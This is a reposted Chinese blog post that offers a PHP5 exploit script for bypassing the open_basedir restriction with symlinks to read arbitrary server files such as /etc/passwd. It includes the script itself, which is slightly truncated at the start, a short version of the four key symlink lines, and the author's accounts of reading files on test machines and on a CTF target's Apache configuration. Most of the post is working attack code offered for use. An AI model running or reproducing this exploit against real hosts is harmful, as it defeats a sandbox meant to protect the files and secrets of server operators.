博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
php5全版本绕过open_basedir读文件脚本
阅读量:5750 次
发布时间:2019-06-18

本文共 3243 字,大约阅读时间需要 10 分钟。

这是前段时间写的代码了(),最近一直忙着和几个同学一起做非安全类的创业项目。所以也没拿到JAE、SAE测试一下。

不说了。。进入正题。
漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的问题,所以问题一直存在,直到现在。我一直没留意,后来yaseng告诉我的,他测试了好像5.5都可以。
他在评论里发过了:,漏洞详情在这里。
给出我写的EXP:

0; $i--) { chdir('..');}$paths = explode('/', $relat_file);$j = 0;for ($i = 0; $paths[$i] == '..'; $i++) { mkdir($name); chdir($name); $j++;}for ($i = 0; $i <= $j; $i++) { chdir('..');}$tmp = array_fill(0, $j + 1, $name);symlink(implode('/', $tmp), 'tmplink');$tmp = array_fill(0, $j, '..');symlink('tmplink/' . implode('/', $tmp) . $file, $exp);unlink('tmplink');mkdir('tmplink');delfile($name);$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{
$exp}";$exp = "http://{
$_SERVER['SERVER_NAME']}{
$exp}";echo "\n-----------------content---------------\n\n";echo file_get_contents($exp);delfile('tmplink');function getRelativePath($from, $to) { // some compatibility fixes for Windows paths $from = rtrim($from, '\/') . '/'; $from = str_replace('\\', '/', $from); $to = str_replace('\\', '/', $to); $from = explode('/', $from); $to = explode('/', $to); $relPath = $to; foreach($from as $depth => $dir) { // find first non-matching dir if($dir === $to[$depth]) { // ignore this directory array_shift($relPath); } else { // get number of remaining dirs to $from $remaining = count($from) - $depth; if($remaining > 1) { // add traversals up to first matching dir $padLength = (count($relPath) + $remaining - 1) * -1; $relPath = array_pad($relPath, $padLength, '..'); break; } else { $relPath[0] = './' . $relPath[0]; } } } return implode('/', $relPath);}function delfile($deldir){ if (@is_file($deldir)) { @chmod($deldir,0777); return @unlink($deldir); }else if(@is_dir($deldir)){ if(($mydir = @opendir($deldir)) == NULL) return false; while(false !== ($file = @readdir($mydir))) { $name = File_Str($deldir.'/'.$file); if(($file!='.') && ($file!='..')){delfile($name);} } @closedir($mydir); @chmod($deldir,0777); return @rmdir($deldir) ? true : false; }}function File_Str($string){ return str_replace('//','/',str_replace('\\','/',$string));}function getRandStr($length = 6) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $randStr = ''; for ($i = 0; $i < $length; $i++) { $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); } return $randStr;}

如我们欲读取/etc/passwd。其实原理就是创建一个链接文件x,用相对路径指向a/a/a/a,再创建一个链接文件exp指向x/../.. /../etc/passwd。其实指向的就是a/a/a/a/../../../etc/passwd,其实就是./etc/passwd。这时候删除 x,再创建一个x目录,但exp还是指向x/../../../etc/passwd,所以就成功跨到/etc/passwd了。

精华就是这四句:

symlink("abc/abc/abc/abc","tmplink");symlink("tmplink/../../../etc/passwd", "exploit");unlink("tmplink");mkdir("tmplink");

我们访问http://xxx/exp,如果服务器支持链接文件的访问,那么就能读到/etc/passwd。

其中并没有任何操作触发open_basedir,但达到的效果就是绕过了open_basedir读取任意文件。错误不在php,但又不知道把错误归结到谁头上,所以php一直未管这个问题。
我在我的VPS(php5.3.28 + nginx)和树莓派(php 5.4.4 + nginx)上都测试过,成功读取。
树莓派测试:

相比于5.3 XML那个洞(那个很多文件读不了),这个成功率还是比较稳的,很多文件都能读。而且版本没要求,危害比较大。

前几天成信的CTF,试了下这个脚本,apache也可以读取,当时读了读kali机子的/etc/httpd/conf/httpd.conf,没啥收获。发现没旁站,流量是通过网关转发的。

 

L战队几个棍子都很给力,希望他们继续666,我继续围观。

 

http://zone.wooyun.org/content/17168

转载于:https://www.cnblogs.com/hookjoy/p/4154256.html

你可能感兴趣的文章
struct timeval
查看>>
微信小程序开发 -- 点击右上角实现转发功能
查看>>
问题解决-Failed to resolve: com.android.support.constraint:constraint-layout:1.0.0-alpha7
查看>>
openURL的使用
查看>>
与MS Project相关的两个项目
查看>>
[转载]ASP.NET MVC Music Store教程(1):概述和新项目
查看>>
css实现单行,多行文本溢出显示省略号……
查看>>
使用 SharpSvn 执行 svn 操作的Demo
查看>>
js函数大全
查看>>
hdu 4831 Scenic Popularity(模拟)
查看>>
刷题笔记
查看>>
iOS app exception的解决方案
查看>>
Mongodb启动命令mongod参数说明
查看>>
TCP&UDP压力测试工具
查看>>
Linux使用Shell脚本实现ftp的自动上传下载(转)
查看>>
卷轴式游戏地图实现
查看>>
[IOI1999]花店橱窗布置(DP路径记录)
查看>>
oracle 导入数据
查看>>
js 闭包 原型
查看>>
首个5G智慧机场落地广州 速度是4G的50倍
查看>>